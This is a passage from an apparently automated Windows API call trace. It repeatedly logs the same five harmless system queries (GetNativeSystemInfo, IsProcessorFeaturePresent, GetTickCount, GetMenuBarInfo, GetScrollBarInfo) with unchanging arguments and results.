dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.281] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.281] GetTickCount () returned 0x19f4a [0043.281] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.281] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.281] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.281] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.281] GetTickCount () returned 0x19f4a [0043.281] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.281] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.281] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.282] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.282] GetTickCount () returned 0x19f4a [0043.282] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.282] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.282] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.282] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.282] GetTickCount () returned 0x19f4a [0043.282] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.282] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.282] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.282] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.282] GetTickCount () returned 0x19f4a [0043.282] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.282] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.282] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.282] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.282] GetTickCount () returned 0x19f4a [0043.282] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.282] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.282] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.282] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.282] GetTickCount () returned 0x19f4a [0043.282] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.282] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.282] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.283] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.283] GetTickCount () returned 0x19f4a [0043.283] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.283] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.283] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.283] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.283] GetTickCount () returned 0x19f4a [0043.283] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.283] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.283] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.283] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.283] GetTickCount () returned 0x19f4a [0043.283] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.283] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.283] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.283] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.283] GetTickCount () returned 0x19f4a [0043.283] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.283] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.283] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.283] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.283] GetTickCount () returned 0x19f4a [0043.283] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.283] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.283] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.284] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.284] GetTickCount () returned 0x19f4a [0043.284] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.284] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.284] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.284] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.284] GetTickCount () returned 0x19f4a [0043.284] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.284] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.284] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.284] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.284] GetTickCount () returned 0x19f4a [0043.284] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.284] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.284] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.284] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.284] GetTickCount () returned 0x19f4a [0043.284] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.284] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.284] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.284] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.284] GetTickCount () returned 0x19f4a [0043.284] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.284] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.285] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.285] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.285] GetTickCount () returned 0x19f4a [0043.285] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.285] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.285] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.285] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.285] GetTickCount () returned 0x19f4a [0043.285] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.285] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.285] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.285] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.285] GetTickCount () returned 0x19f4a [0043.285] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.285] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.285] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.285] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.285] GetTickCount () returned 0x19f4a [0043.285] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.285] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.285] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.285] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.285] GetTickCount () returned 0x19f4a [0043.285] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.285] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.286] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.286] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.286] GetTickCount () returned 0x19f4a [0043.286] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.286] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.286] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.286] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.286] GetTickCount () returned 0x19f4a [0043.286] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.286] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.286] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.286] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.286] GetTickCount () returned 0x19f4a [0043.286] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.286] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.286] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.286] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.286] GetTickCount () returned 0x19f4a [0043.286] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.286] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.286] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.286] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.286] GetTickCount () returned 0x19f4a [0043.286] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.287] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.287] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.287] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.287] GetTickCount () returned 0x19f4a [0043.287] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.287] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.287] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.287] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.287] GetTickCount () returned 0x19f4a [0043.287] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.287] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.287] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.287] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.287] GetTickCount () returned 0x19f4a [0043.287] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.287] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.287] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.287] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.287] GetTickCount () returned 0x19f4a [0043.287] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.287] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.287] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.287] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.287] GetTickCount () returned 0x19f4a [0043.288] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.288] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.288] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.288] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.288] GetTickCount () returned 0x19f4a [0043.288] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.288] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.288] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.288] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.288] GetTickCount () returned 0x19f4a [0043.288] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.288] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.288] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.288] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.288] GetTickCount () returned 0x19f4a [0043.288] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.288] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.288] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0043.288] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0043.288] GetTickCount () returned 0x19f4a [0043.288] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0043.288] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0043.288] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, 